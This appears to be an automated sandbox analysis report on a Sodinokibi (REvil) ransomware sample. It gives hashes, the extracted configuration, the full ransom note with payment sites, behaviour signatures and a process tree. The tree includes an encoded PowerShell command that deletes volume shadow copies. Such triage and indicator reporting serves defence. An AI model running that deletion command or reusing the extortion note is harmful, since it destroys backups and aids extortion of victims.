Analysis

  • max time kernel
    141s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-05-2024 14:57

General

  • Target

    20defcd42cabf5da27a21dd342e58068_JaffaCakes118.exe

  • Size

    324KB

  • MD5

    20defcd42cabf5da27a21dd342e58068

  • SHA1

    408cfabc99c350ad28def5475cfff5dc2de02543

  • SHA256

    735ff072077023765e445b284f072946ffad2e36fa8aba9f1b8f93fef885352c

  • SHA512

    8a6a2f462b9e5ecccae13ecf176c8d2ec93e1c535f3541aa9a39151ea7874e730bdb627b422fbe2ba1c51c98c9c5a2b35da79433fbe9105038836ca33f31814d

  • SSDEEP

    6144:uhHmIZ1A3Lp5r8Xjv0PZNVhmN7r6PNkr1UT:iHdA3Lp5YzIH7mNyFqo

Malware Config

Extracted

Family

sodinokibi

Botnet

$2a$10$3aLOaggUASU5QrJ8Y1pYZeU93mMQzM6yVgD7yb83aT6O21pMW2lCu

Campaign

51

Decoy

woodleyacademy.org

bookspeopleplaces.com

despedidascostablanca.es

lapinvihreat.fi

drfoyle.com

carolinepenn.com

abuelos.com

groupe-frayssinet.fr

tecnojobsnet.com

deoudedorpskernnoordwijk.nl

siluet-decor.ru

smessier.com

calxplus.eu

julis-lsa.de

aminaboutique247.com

pier40forall.org

coding-machine.com

longislandelderlaw.com

expandet.dk

blogdecachorros.com

Attributes
  • net

    true

  • pid

    $2a$10$3aLOaggUASU5QrJ8Y1pYZeU93mMQzM6yVgD7yb83aT6O21pMW2lCu

  • prc

    mysql

  • ransom_oneliner

    All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions

  • ransom_template

    ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} Extension name: {EXT} ----------------------------------------------------------------------------------------- !!! !!! !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

  • sub

    51

  • svc

    backup

    sql

    svc$

    mepocs

    vss

    memtas

    sophos

    veeam

Extracted

Path

C:\Users\3qn82bt-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 3qn82bt. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7C19995C708FFDEB 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/7C19995C708FFDEB Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 74db634SA7QBglOi+PPuLr/rQ1mYgVYPhWmsW7i/BtCS7jiCq0e/zaS260O5luDK qp4/LZgHb+8+mrIl7hT2PNm/2BbG/Fc3gHqw34exnu25u3vmrbRESGRL3oAF7BXY FgAL3jotOroz7CfMQhZFh7d/8MbVt5QNGMeI1VVLprH5HwowFo/PQTHY68939Uyz 1iRO5Xg0xGCP9sci3Nj9CpXjMR6CutysvUEvzxIChH+Rl155ORViKUdtSfaFRivr 5hsBgvqIvUHMJvrzdVB/u4BgfeGa3HhYTXwk0PBpv8xPFXkJNGUtFEkcBFbDVo+F DE6fxHwqYyBbGuUMxw8742ccGsxsPpZDlWQr2KENa2vn0nhy2iP9ptziG4oU+rdz Pu31NZscSrNpv3Bg/P6CIhSYfOdDaZtnTGBFsmpM+CMCmuV8RIVFdefgN1Gm0RAG NghGyplgW/MBNTLlBItoMidF5k3CfSfaJLeWOzrWcyypQzXnZBB3zYxkQlbzEZCz KUJERjFqkGjM44AQjR/RsmhjdJgmGFMjvNjXwJW+btIX0nwniGo6GTb45ayaP9mk PH51acqjIN2LLrdkPDgZU9R1lpLH0jJ3ylVkyY37IMSu3nojC20O3qyurUPn7ZWV PDbhj2YnsJWfufgDwfTxfmFKLniB2w9sKnVXK357WBtlrwN3NWaWuaa5LgDZHojQ 5zpvoq8n/tfm/SWoOkmsKTACu8onjgQAVP3Z8+QTI9sG04zB6Gp1BW7Ebb/l5Elg wzGOGLBMJXyH2lGpGOhYNmSn6NU/B2YRbxQYH0gWZ1a+gauI2pJvjx63NyjpGb3m JOmzSkff3F1afeAtboYjxdW8v93LhN/QnD1O8OzVFxycm9PbD/SwcJO0QcMQtwfN P31MzQtwmc30zh07YxNK+B9SFX1H/yhKKFuatS0FvgkygX/kMKS5IN5GA2mwFb8m YqbHnAsT03FGmHwkMA3usVxwL9XsXUhHvVVRULfbQtTqlLIOwRYrNX7uAnStREOw sMQLxf6jbGFoQQviijlk79zmwF2PuspxCYkFnw2zL+47HrYzEvpD6Y2mYpzpRbF6 DqmRUZiGsH9YCXBmHvbWerpYJtf1j1h0SsFP+GOfSFflegHPC1T/UIT02xxZbDMD f3nIcd01sPkZ8poOpUomLX12nxfAXDBCAe5dL27QR8LN6ng9035KNQJn4BxfhAZS +y0SqvFS2AS5S6zGbSICf9zj8OsydKPKHvvQKEKNFttS2GGwMP/TP4Dun0oeS+ZK 0KQHEDEokQi+EIxdsw+wQqgL8bBSjpsXMWakImrfAInWR5HI5rvk2QMF8XlcclPN mFPL2HauGvUK1FCzmScpN+uQUVQXEgmp4qCSDfJr8l7Q05x/ Extension name: 3qn82bt ----------------------------------------------------------------------------------------- !!! !!! !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7C19995C708FFDEB

http://decryptor.cc/7C19995C708FFDEB

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 23 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\20defcd42cabf5da27a21dd342e58068_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\20defcd42cabf5da27a21dd342e58068_JaffaCakes118.exe"
    1⤵
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2608
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3016
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4648
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4336

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\3qn82bt-readme.txt

      Filesize

      6KB

      MD5

      19d5bfdee975a5fc3dd75be95c000a27

      SHA1

      cad88f4a914e61426ab0eae3d8bc708c2c811a2c

      SHA256

      ab91c972a62b85c42f06dc7d62818afc274e83d9c1a7895bc866f1ee84c7fcb7

      SHA512

      e0c281afdf8ff55697fbc860bc2a4109582770dfc0f95baed78ac7f93038861716f030c913fa9a1be43c498fa89f1185d504b7bfebcdbd47aa69d13c72a356fa

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j0fwbpgo.ptf.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2608-4-0x0000000001F40000-0x0000000001F60000-memory.dmp

      Filesize

      128KB

    • memory/2608-14-0x0000000001F40000-0x0000000001F60000-memory.dmp

      Filesize

      128KB

    • memory/2608-10-0x0000000001F40000-0x0000000001F60000-memory.dmp

      Filesize

      128KB

    • memory/2608-6-0x0000000001F40000-0x0000000001F60000-memory.dmp

      Filesize

      128KB

    • memory/2608-35-0x0000000001F40000-0x0000000001F60000-memory.dmp

      Filesize

      128KB

    • memory/2608-12-0x0000000001F40000-0x0000000001F60000-memory.dmp

      Filesize

      128KB

    • memory/2608-1-0x0000000001F40000-0x0000000001F60000-memory.dmp

      Filesize

      128KB

    • memory/2608-18-0x0000000001F40000-0x0000000001F60000-memory.dmp

      Filesize

      128KB

    • memory/2608-2-0x0000000001F40000-0x0000000001F60000-memory.dmp

      Filesize

      128KB

    • memory/2608-432-0x0000000001F40000-0x0000000001F60000-memory.dmp

      Filesize

      128KB

    • memory/2608-16-0x0000000001F40000-0x0000000001F60000-memory.dmp

      Filesize

      128KB

    • memory/2608-151-0x0000000000400000-0x0000000000454000-memory.dmp

      Filesize

      336KB

    • memory/2608-8-0x0000000001F40000-0x0000000001F60000-memory.dmp

      Filesize

      128KB

    • memory/3016-19-0x00007FFF74A83000-0x00007FFF74A85000-memory.dmp

      Filesize

      8KB

    • memory/3016-34-0x00007FFF74A80000-0x00007FFF75541000-memory.dmp

      Filesize

      10.8MB

    • memory/3016-31-0x00007FFF74A80000-0x00007FFF75541000-memory.dmp

      Filesize

      10.8MB

    • memory/3016-30-0x00007FFF74A80000-0x00007FFF75541000-memory.dmp

      Filesize

      10.8MB

    • memory/3016-20-0x000001DF75720000-0x000001DF75742000-memory.dmp

      Filesize

      136KB